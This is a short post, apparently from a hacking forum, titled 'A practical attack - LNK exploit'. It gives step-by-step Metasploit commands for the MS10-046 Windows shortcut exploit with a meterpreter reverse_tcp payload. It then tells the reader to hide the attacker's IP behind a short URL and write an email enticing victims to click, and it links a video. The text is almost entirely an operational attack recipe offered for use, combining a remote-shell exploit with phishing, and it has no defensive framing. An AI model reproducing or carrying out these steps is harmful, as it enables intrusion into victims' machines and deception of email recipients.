A practical attack - LNK exploit

[Nytro]

A practical attack - LNK exploit

Notes

1. sudo ./msfconsole

2. use windows/browser/ms10_046_shortcut_icon_dllloader excellent Microsoft Windows Shell LNK Code Execution

3. set SRVHOST 192.168.175.129

4. set Payload windows/meterpreter/reverse_tcp

5. set LHOST 192.168.175.129

6. exploit

7. go to shorturl.com and create a short url for your machines ip

8. Write an email enticing the recipient to click the link.

9. use metaterpreter.

10. pwnage.

Video:

http://vimeo.com/16699569